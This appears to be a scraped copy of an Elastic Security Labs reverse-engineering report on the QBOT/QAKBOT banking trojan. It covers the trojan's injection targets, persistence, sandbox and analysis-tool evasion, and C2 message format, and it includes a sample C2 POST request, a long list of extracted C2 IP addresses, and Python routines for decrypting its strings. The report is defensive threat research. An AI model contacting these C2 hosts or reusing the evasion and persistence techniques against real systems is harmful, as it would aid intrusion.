registration]/assets/images/qbot-malware-analysis/7qbot.png)\n\n![QBOT window handler catching suspend/resume event]/assets/images/qbot-malware-analysis/8qbot.png)\n\nQBOT registers a console event to handle shutdown/reboot events as well.\n\n![QBOT registering console handler](/assets/images/qbot-malware-analysis/39qbot.jpg)\n\n![QBOT console handler catching shutdown/reboot event](/assets/images/qbot-malware-analysis/40qbot.jpg)\n\n### Command and control public key pinning\n\nQBOT has a mechanism to verify the signature of every message received from its command and control. The verification mechanism is based on a public key embedded in the sample. This public key could be used to identify the campaign the sample belongs to, but this mechanism may not always be present.\n\n![QBOT command and control message processing]/assets/images/qbot-malware-analysis/1qbot.png)\n\n![Message signature verification with hardcoded command and control public key]/assets/images/qbot-malware-analysis/2qbot.png)\n\nThe public key comes from a hardcoded XOR-encrypted data blob.\n\n![Hardcoded command and control public key being XOR-decrypted]/assets/images/qbot-malware-analysis/3qbot.jpg)\n\n### Computer information gathering\n\nPart of QBOT communication with its command and control is sending information about the computer. Information are gathered through a set Windows API calls, shell commands and Windows Management Instrumentation (WMI) commands:\n\n![Computer information gathering 1/2]/assets/images/qbot-malware-analysis/4qbot.jpg)\n\n![Computer information gathering 2/2](/assets/images/qbot-malware-analysis/45qbot.jpg)\n\nOne especially interesting procedure listed installed antivirus via WMI:\n\n![QBOT listing installed antivirus via a WMI command](/assets/images/qbot-malware-analysis/46qbot.jpg)\n\n### Update mechanism\n\nQBOT can receive updates from its command and control. The new binary will be written to disk, executed through a command line, and the main process will terminate.\n\n![QBOT writing to disk and running the updated binary]/assets/images/qbot-malware-analysis/7qbot.png)\n\n![QBOT stopping execution if update is running]/assets/images/qbot-malware-analysis/8qbot.png)\n\n### Process injection manager\n\nQBOT has a system to keep track of processes injected with binaries received from its command and control in order to manage them as the malware receives subsequent commands. It also has a way to serialize and save those binaries on disk in case it has to stop execution and recover execution when restarted.\n\nTo do this bookkeeping, QBOT maintains two global structures — a list of all binaries received from its command and control, and a list of running injected processes:\n\n![QBOT’s list of DLL to inject received from its command and control.](/assets/images/qbot-malware-analysis/49qbot.jpg)\n\n![QBOT’s list of running injected processes](/assets/images/qbot-malware-analysis/50qbot.jpg)\n\n## Conclusion\n\nThe QBOT malware family is highly active and still part of the threat landscape in 2022 due to its features and its powerful modular system. While initially characterized as an information stealer in 2007, this family has been leveraged as a delivery mechanism for additional malware and post-compromise activity.\n\nElastic Security provides out-of-the-box prevention capabilities against this threat. Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our [Quick Start guides](https://www.elastic.co/training/free#quick-starts) (bite-sized training videos to get you started quickly) or our [free fundamentals training courses](https://www.elastic.co/training/free#fundamentals). You can always get started with a [free 14-day trial of Elastic Cloud](https://cloud.elastic.co/registration?elektra=whats-new-elastic-security-7-16-blog).\n\n## MITRE ATT\u0026CK Tactics and Techniques\n\nMITRE ATT\u0026CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT\u0026CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n- Tactic: [Privilege Escalation](https://attack.mitre.org/tactics/TA0004)\n- Tactic: [Defense Evasion](https://attack.mitre.org/tactics/TA0005)\n- Tactic: [Discovery](https://attack.mitre.org/tactics/TA0007)\n- Tactic: [Command and Control](https://attack.mitre.org/tactics/TA0011)\n\n### Techniques / Sub Techniques\n\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n- Technique: [Process Injection](https://attack.mitre.org/techniques/T1055) (T1055)\n- Technique: [Modify Registry](https://attack.mitre.org/techniques/T1112) (T1112)\n- Technique: [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) (T1027)\n- Technique: [Obfuscated Files or Information: Indicator Removal from Tools](https://attack.mitre.org/techniques/T1027/005) (T1027.005)\n- Technique: [System Binary Proxy Execution: Regsvr32](https://attack.mitre.org/techniques/T1218/010) (T1218.010) \n Technique: [Application Window Discovery](https://attack.mitre.org/techniques/T1010) (T1010)\n- Technique: [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) (T1083)\n- Technique: [System Information Discovery](https://attack.mitre.org/techniques/T1082) (T1082)\n- Technique: [System Location Discovery](https://attack.mitre.org/techniques/T1614) (T1614)\n- Technique: [Software Discovery: Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) (T1518.001)\n- Technique: [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) (T1033)\n- Technique: [Application Layer Protocol: Web Protocols](https://attack.mitre.org/techniques/T1071/001) (T1071.001)\n\n## Observations\n\nWhile not specific enough to be considered indicators of compromise, the following information was observed during analysis that can help when investigating suspicious events.\n\n### File System\n\n**Persistence folder**\n\n```\n**%APPDATA%\\Microsoft\\[Random Folder]**\n```\n\n**Example:**\n\n```\n**C:\\Users\\Arx\\AppData\\Roaming\\Microsoft\\Vuhys**\n```\n\n### Registry\n\n**Scan Exclusion**\n\n```\n**HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\[Persistence Folder]**\n```\n\n**Example:**\n\n```\n**HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\C:\\Users\\Arx\\AppData\\Roaming\\Microsoft\\Blqgeaf**\n```\n\n### Configuration\n\n**Configuration**\n\n```\n**HKU\\[User SID]\\Software\\Microsoft\\[Random Key]\\[Random Value 0]**\n```\n\n**Example:**\n\n```\n**HKU\\S-1-5-21-2844492762-1358964462-3296191067-1000\\Software\\Microsoft\\Silhmfua\\28e2a7e8**\n```\n\n## Appendices\n\n### Appendix A (extracted network infrastructure)\n\n| | | |\n| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| 1.161.71.109:4431.161.71.109:995100.1.108.246:443101.50.103.193:995102.182.232.3:995103.107.113.120:443103.139.243.207:990103.246.242.202:443103.87.95.133:2222103.88.226.30:443105.226.83.196:995108.60.213.141:443109.12.111.14:443109.228.220.196:443113.11.89.165:995117.248.109.38:21120.150.218.241:995120.61.2.95:443121.74.167.191:995125.168.47.127:2222138.204.24.70:443140.82.49.12:443140.82.63.183:443140.82.63.183:995143.0.34.185:443144.202.2.175:443144.202.2.175:995144.202.3.39:443144.202.3.39:995148.64.96.100:443149.28.238.199:443149.28.238.199:995172.114.160.81:995172.115.177.204:2222173.174.216.62:443173.21.10.71:2222174.69.215.101:443175.145.235.37:443176.205.119.81:2078176.67.56.94:443176.88.238.122:995179.158.105.44:443180.129.102.214:995180.183.128.80:2222181.118.183.98:443181.208.248.227:443181.62.0.59:443182.191.92.203:995182.253.189.74:2222185.69.144.209:443 | 186.105.121.166:443187.102.135.142:2222187.207.48.194:61202187.250.114.15:443187.251.132.144:22190.252.242.69:443190.73.3.148:2222191.17.223.93:32101191.34.199.129:443191.99.191.28:443196.233.79.3:80197.167.62.14:993197.205.127.234:443197.89.108.252:4432.50.137.197:443201.145.189.252:443201.211.64.196:2222202.134.152.2:2222203.122.46.130:443208.107.221.224:443209.197.176.40:995217.128.122.65:2222217.164.210.192:443217.165.147.83:99324.178.196.158:222224.43.99.75:44331.35.28.29:44331.48.166.122:207832.221.224.140:99537.186.54.254:99537.34.253.233:44338.70.253.226:222239.41.158.185:99539.44.144.159:99539.52.75.201:99539.57.76.82:99540.134.246.185:99541.228.22.180:44341.230.62.211:99341.38.167.179:99541.84.237.10:99542.235.146.7:222245.241.232.25:99545.46.53.140:222245.63.1.12:44345.63.1.12:99545.76.167.26:44345.76.167.26:99545.9.20.200:44346.107.48.202:443 | 47.156.191.217:44347.180.172.159:44347.180.172.159:5001047.23.89.62:99347.23.89.62:9955.32.41.45:4435.95.58.211:208766.98.42.102:44367.209.195.198:44368.204.7.158:44370.46.220.114:44370.51.138.126:222271.13.93.154:222271.74.12.34:44372.12.115.90:2272.252.201.34:99572.76.94.99:44373.151.236.31:44373.67.152.98:222274.15.2.252:222275.113.214.234:222275.99.168.194:44375.99.168.194:6120176.169.147.192:3210376.25.142.196:44376.69.155.202:222276.70.9.169:222278.87.206.213:99580.11.74.81:222281.215.196.174:44382.152.39.39:44383.110.75.97:222284.241.8.23:3210385.246.82.244:44386.97.11.43:44386.98.208.214:222286.98.33.141:44386.98.33.141:99588.228.250.126:44389.211.181.64:222290.120.65.153:207891.177.173.10:99592.132.172.197:222293.48.80.198:99594.36.195.250:222294.59.138.62:119494.59.138.62:222296.21.251.127:222296.29.208.97:44396.37.113.36:993 |\n\n### Appendix B (command handlers)\n\n| Id | Handler |\n| ---- | ------------------------------------------------------------------------------- |\n| 0x1 | MARE::rpc::handler::CommunicateWithC2 |\n| 0x6 | MARE::rpc::handler::EnableGlobalRegistryConfigurationValuek0x14 |\n| 0x7 | MARE::rpc::handler::DisableGlobalRegistryConfigurationValuek0x14 |\n| 0xa | MARE::rpc::handler::KillProcess |\n| 0xc | MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent1 |\n| 0xd | MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent0 |\n| 0xe | MARE::rpc::handler::DoEvasionMove |\n| 0x12 | MARE::rpc::handler::NotImplemented |\n| 0x13 | MARE::rpc::handler::UploadAndRunUpdatedQBOT0 |\n| 0x14 | MARE::rpc::handler::Unk0 |\n| 0x15 | MARE::rpc::handler::Unk1 |\n| 0x19 | MARE::rpc::handler::UploadAndExecuteBinary |\n| 0x1A | MARE::rpc::handler::UploadAndInjectDll0 |\n| 0x1B | MARE::rpc::handler::DoInjectionFromDllToInjectByStr |\n| 0x1C | MARE::rpc::handler::KillInjectedProcessAndDisableDllToInject |\n| 0x1D | MARE::rpc::handler::Unk3 |\n| 0x1E | MARE::rpc::handler::KillInjectedProcessAndDoInjectionAgainByStr |\n| 0x1F | MARE::rpc::handler::FastInjectdll |\n| 0x21 | MARE::rpc::handler::ExecuteShellCmd |\n| 0x23 | MARE::rpc::handler::UploadAndInjectDll1 |\n| 0x24 | MARE::rpc::handler::UploadAndRunUpdatedQBOT1 |\n| 0x25 | MARE::rpc::handler::SetValueToGlobalRegistryConfiguration |\n| 0x26 | MARE::rpc::handler::DeleteValueFromGlobalRegistryConfiguration |\n| 0x27 | MARE::rpc::handler::ExecutePowershellCmd |\n| 0x28 | MARE::rpc::handler::UploadAndRunDllWithRegsvr32 |\n| 0x29 | MARE::rpc::handler::UploadAndRunDllWithRundll32 |\n\n### Appendix C (string deciphering implementation)\n\n```\ndef decipher_strings(data: bytes, key: bytes) -\u003e bytes:\n result = dict()\n current_index = 0\n current_string = list()\n for i in range(len(data)):\n current_string.append(data[i] ^ key[i % len(key)])\n if data[i] == key[i % len(key)]:\n result[current_index] = bytes(current_string)\n current_string = list()\n current_index = i + 1\n return result\n```\n\n### Appendix D (resource deciphering implementation)\n\n```\nfrom Crypto.Cipher import ARC4\nfrom Crypto.Hash import SHA1\n\ndef decipher_data(data: bytes, key: bytes) -\u003e tuple[bytes, bytes]:\n data = ARC4.ARC4Cipher(SHA1.SHA1Hash(key).digest()).decrypt(data)\n return data[20:], data[:20]\n\n\ndef verify_hash(data: bytes, expected_hash: bytes) -\u003e bool:\n return SHA1.SHA1Hash(data).digest() == expected_hash\n\n\ndef decipher_rsrc(rsrc: bytes, key: bytes) -\u003e bytes:\n deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])\n if not verify_hash(deciphered_rsrc, expected_hash):\n deciphered_rsrc, expected_hash = decipher_data(rsrc, key)\n if not verify_hash(deciphered_rsrc, expected_hash):\n raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')\n return deciphered_rsrc\n```\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var m=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),y=(t,e)=\u003e{for(var i in e)a(t,i,{get:e[i],enumerable:!0})},o=(t,e,i,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of g(e))!u.call(t,r)\u0026\u0026r!==i\u0026\u0026a(t,r,{get:()=\u003ee[r],enumerable:!(s=p(e,r))||s.enumerable});return t};var w=(t,e,i)=\u003e(i=t!=null?h(m(t)):{},o(e||!t||!t.__esModule?a(i,\"default\",{value:t,enumerable:!0}):i,t)),b=t=\u003eo(a({},\"__esModule\",{value:!0}),t);var c=f((O,l)=\u003e{l.exports=_jsx_runtime});var q={};y(q,{default:()=\u003ev,frontmatter:()=\u003eT});var n=w(c()),T={title:\"QBOT Malware Analysis\",slug:\"qbot-malware-analysis\",date:\"2023-02-14\",description:\"Elastic Security Labs releases a QBOT malware analysis report covering the execution chain. From this research, the team has produced a YARA rule, configuration-extractor, and indicators of compromises (IOCs).\",author:[{slug:\"cyril-francois\"}],image:\"blog-thumb-drill-bit.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"ref3726\",\"qbot\",\"qakbot\"]};function d(t){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",a:\"a\",p:\"p\",blockquote:\"blockquote\",h3:\"h3\",img:\"img\",strong:\"strong\",pre:\"pre\",code:\"code\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",h4:\"h4\",br:\"br\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Elastic Security Labs is releasing a QBOT malware analysis report from a recent \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern\",rel:\"nofollow\",children:\"campaign\"})]}),`\n`,(0,n.jsx)(e.li,{children:\"This report covers the execution chain from initial infection to communication with its command and control containing details about in depth features such as its injection mechanism and dynamic persistence mechanism.\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"From this research we produced a \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Qbot.yar\",rel:\"nofollow\",children:\"YARA rule\"}),\", \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/qbot-configuration-extractor\",rel:\"nofollow\",children:\"configuration-extractor\"}),\", and indicators of compromises (IOCs)\"]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"As part of our mission to build knowledge about the most common malware families targeting institutions and individuals, the Elastic Malware and Reverse Engineering team (MARE) completed the analysis of the core component of the banking trojan QBOT/QAKBOT V4 from a previously reported \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern\",rel:\"nofollow\",children:\"campaign\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT \\u2014 also known as QAKBOT \\u2014 is a modular Trojan active since 2007 used to download and run binaries on a target machine. This document describes the in-depth reverse engineering of the QBOT V4 core components. It covers the execution flow of the binary from launch to communication with its command and control (C2).\"}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT is a multistage, multiprocess binary that has capabilities for evading detection, escalating privileges, configuring persistence, and communicating with C2 through a set of IP addresses. The C2 can update QBOT, upload new IP addresses, upload and run fileless binaries, and execute shell commands.\"}),`\n`,(0,n.jsx)(e.p,{children:\"As a result of this analysis, MARE has produced a new yara rule based on the core component of QBOT as well as a static configuration extractor able to extract and decrypt its strings, its configuration, and its C2 IP address list.\"}),`\n`,(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsx)(e.p,{children:\"For information on the QBOT configuration extractor and malware analysis, check out our blog posts detailing this:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/qbot-configuration-extractor\",rel:\"nofollow\",children:\"QBOT Configuration Extractor\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern\",rel:\"nofollow\",children:\"QBOT Attack Pattern\"})}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"execution-flow\",children:\"Execution flow\"}),`\n`,(0,n.jsx)(e.p,{children:\"This section describes the QBOT execution flow in the following three stages:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"First Stage: Initialization\"}),`\n`,(0,n.jsx)(e.li,{children:\"Second Stage: Installation\"}),`\n`,(0,n.jsx)(e.li,{children:\"Third Stage: Communication\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"stage-1\",children:\"Stage 1\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/1qbot.png\",alt:\"First stage execution flow\",width:\"715\",height:\"495\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The sample is executed with the \",(0,n.jsx)(e.strong,{children:\"regsvr32.exe\"}),\" binary, which in turn will call QBOT\\u2019s \",(0,n.jsx)(e.strong,{children:\"DllRegisterServer\"}),\" export:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/2qbot.png\",alt:\"regsvr32.exe loading QBOT and calling its DllRegisterServer export.\",width:\"861\",height:\"418\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"After execution, QBOT checks if it\\u2019s running under the Windows Defender sandbox by checking the existence of a specific subdirectory titled: \",(0,n.jsx)(e.strong,{children:\"C:\\\\INTERNAL\\\\__empty\"}),\" , if this folder exists, the malware terminates itself:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/3qbot.jpg\",alt:\"QBOT checking if it is running and Windows Defender sandbox.\",width:\"789\",height:\"38\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The malware will then enumerate running processes to detect any antivirus (AV) products on the machine. The image below contains a list of AV vendors QBOT reacts to:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/4qbot.jpg\",alt:\"Enum of vendors QBOT can detect.\",width:\"320\",height:\"274\"})}),`\n`,(0,n.jsx)(e.p,{children:\"AV detection will not prevent QBOT from running. However, it will change its behavior in later stages. In order to generate a seed for its pseudorandom number generator (PRNG), QBOT generates a fingerprint of the computer by using the following expression:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)**\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"If the \",(0,n.jsx)(e.strong,{children:\"\\u201CC:\\u201D\"}),\" volume doesn\\u2019t exist the expression below is used instead:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**fingerprint = CRC32(computerName + AccountName)**\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Finally, QBOT will choose a set of targets to inject into depending on the AVs previously detected and the machine architecture:\"}),`\n`,(0,n.jsx)(e.p,{children:`| | |\n| -------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------ |\n| AV detected \u0026 architecture | Targets |\n| BitDefender | Kaspersky | Sophos | TrendMicro | \u0026 x86 | %SystemRoot%\\\\SysWOW64\\\\mobsync.exe %SystemRoot%\\\\SysWOW64\\\\explorer.exe |\n| BitDefender | Kaspersky | Sophos | TrendMicro \u0026 x64 | %SystemRoot%\\\\System32\\\\mobsync.exe%SystemRoot%\\\\explorer.exe%ProgramFiles%\\\\Internet Explorer\\\\iexplore.exe |\n| Avast | AVG | Windows Defender \u0026 x86 | %SystemRoot%\\\\SysWOW64\\\\OneDriveSetup.exe%SystemRoot%\\\\SysWOW64\\\\msra.exe%ProgramFiles(x86)%\\\\Internet Explorer\\\\iexplore.exe |\n| Avast | AVG | Windows Defender \u0026 x64 | %SystemRoot%\\\\System32\\\\OneDriveSetup.exe%SystemRoot%\\\\System32\\\\msra.exe |\n| x86 | '%SystemRoot%\\\\explorer.exe%SystemRoot%\\\\System32\\\\msra.exe%SystemRoot%\\\\System32\\\\OneDriveSetup.exe |\n| x64 | %SystemRoot%\\\\SysWOW64\\\\explorer.exe%SystemRoot%\\\\SysWOW64\\\\msra.exe%SystemRoot%\\\\System32\\\\OneDriveSetup.exe |`}),`\n`,(0,n.jsxs)(e.p,{children:[\"QBOT will try to inject itself iteratively, using its second stage as an entry point, into one of its targets\\u2013 choosing the next target process if the injection fails. Below is an example of QBOT injecting into \",(0,n.jsx)(e.strong,{children:\"explorer.exe\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/7qbot.png\",alt:\"QBOT injecting itself into explorer.exe\",width:\"1032\",height:\"591\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"stage-2\",children:\"Stage 2\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/8qbot.png\",alt:\"Second stage execution flow\",width:\"725\",height:\"565\"})}),`\n`,(0,n.jsx)(e.p,{children:\"QBOT begins its second stage by saving the content of its binary in memory and then corrupting the file on disk:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/0.jpg\",alt:\"QBOT corrupting its binary file\",width:\"872\",height:\"438\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The malware then loads its configuration from one of its resource sections:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/10qbot.jpg\",alt:\"QBOT loading its configuration from resource\",width:\"912\",height:\"264\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"QBOT also has the capability to load its configuration from a \",(0,n.jsx)(e.strong,{children:\".cfg\"}),\" file if available in the process root directory:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/1.jpg\",alt:\"QBOT trying to load its configuration from a file\",width:\"1426\",height:\"175\"})}),`\n`,(0,n.jsx)(e.p,{children:\"After loading its configuration, QBOT proceeds to install itself on the machine\\u2013 initially by writing its internal configuration to the registry:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/2.jpg\",alt:\"QBOT writing its configuration to the registry\",width:\"1440\",height:\"266\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Shortly after, QBOT creates a persistence subdirectory with a randomly-generated name under the \",(0,n.jsx)(e.strong,{children:\"%APPDATA%\\\\Microsoft\"}),\" directory. This folder is used to drop the in-memory QBOT binary for persistence across reboot:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/3.jpg\",alt:\"QBOT creating its persistence folder\",width:\"1329\",height:\"197\"})}),`\n`,(0,n.jsx)(e.p,{children:\"At this point, the folder will be empty because the malware will only drop the binary if a shutdown/reboot event is detected. This \\u201Ccontingency\\u201D binary will be deleted after reboot.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"QBOT will attempt the same install process for all users and try to either execute the malware within the user session if it exists, or create a value under the \",(0,n.jsx)(e.strong,{children:\"CurrentVersion\\\\Run\"}),\" registry key for the targeted user to launch the malware at the next login. Our analysis didn\\u2019t manage to reproduce this behavior on an updated Windows 10 machine. The only artifact observed is the randomly generated persistence folder created under the user \",(0,n.jsx)(e.strong,{children:\"%APPDATA%\\\\Microsoft\"}),\" directory:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/4qbot.jpg\",alt:\"Persistence folder is empty when QBOT is running\",width:\"320\",height:\"274\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"QBOT finishes its second stage by restoring the content of its corrupted binary and registering a task via \",(0,n.jsx)(e.strong,{children:\"Schtask\"}),\" to launch a QBOT service under the \",(0,n.jsx)(e.strong,{children:\"NT AUTHORITY\\\\SYSTEM\"}),\" account.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The first stage has a special execution path where it registers a service handler if the process is running under the \",(0,n.jsx)(e.strong,{children:\"SYSTEM\"}),\" account. The QBOT service then executes stages 2 and 3 as normal, corrupting the binary yet again and executing commands on behalf of other QBOT processes via messages received through a randomly generated named pipe:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/15qbot.png\",alt:\"QBOT running as SYSTEM service\",width:\"1121\",height:\"711\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"stage-3\",children:\"Stage 3\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/16qbot.png\",alt:\"Third stage execution flow\",width:\"1295\",height:\"735\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"QBOT begins its third stage by registering a window and console event handler to monitor suspend/resume and shutdown/reboot events. Monitoring these events enables the malware to install persistence dynamically by dropping a copy of the QBOT binary in the persistence folder and creating a value under the \",(0,n.jsx)(e.strong,{children:\"CurrentVersion\\\\Run\"}),\" registry key:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/7qbot.png\",alt:\"QBOT install persistence when suspend/resume or shutdown/reboot event occurs\",width:\"1032\",height:\"591\"})}),`\n`,(0,n.jsx)(e.p,{children:\"At reboot, QBOT will take care of deleting any persistence artifacts.\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware will proceed to creating a watchdog thread to monitor running processes against a hardcoded list of binaries every second. If any process matches, a registry value is set that will then change QBOT behavior to use randomly generated IP addresses instead of the real one, thus never reaching its command and control:\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{}),(0,n.jsx)(e.th,{})]})}),(0,n.jsx)(e.tbody,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"frida-winjector-helper-32.exefrida-winjector-helper-64.exeTcpdump.exewindump.exeethereal.exewireshark.exeettercap.exertsniff.exepacketcapture.execapturenet.exeqak_proxy\"}),(0,n.jsx)(e.td,{children:\"dumpcap.exeCFF Explorer.exenot_rundll32.exeProcessHacker.exetcpview.exefilemon.exeprocmon.exeidaq64.exePETools.exeImportREC.exeLordPE.exe\"}),(0,n.jsx)(e.td,{children:\"SysInspector.exeproc_analyzer.exesysAnalyzer.exesniff_hit.exejoeboxcontrol.exejoeboxserver.exeResourceHacker.exex64dbg.exeFiddler.exesniff_hit.exesysAnalyzer.exe\"})]})})]})}),`\n`,(0,n.jsxs)(e.p,{children:[\"QBOT will then load its domains from one of its \",(0,n.jsx)(e.strong,{children:\".rsrc\"}),\" files and from the registry as every domain update received from its C2 will be part of its configuration written to the registry. See Extracted Network Infrastructure in Appendix A.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"Finally, the malware starts communicating with C2 via HTTP and TLS. The underlying protocol uses a JSON object encapsulated within an enciphered message which is then base64-encoded:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/qbot-malware-analysis/8qbot.png\",alt:\"QBOT message format\",width:\"725\",height:\"565\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Below an example of a HTTP POST request sent by QBOT to its C2:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\nHost: 181.118.183.98\nContent-Length: 77\nCache-Control: no-cache\n\nqxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Through this communication channel, QBOT receives commands from C2 \\u2014 see Appendix B (Command Handlers). Aside from management commands (update, configuration knobs), our sample only handles binary execution-related commands, but we know that the malware is modular and can be built with additional features like a VNC server, a reverse shell server, proxy support (to be part of the domains list), and numerous other capabilities are 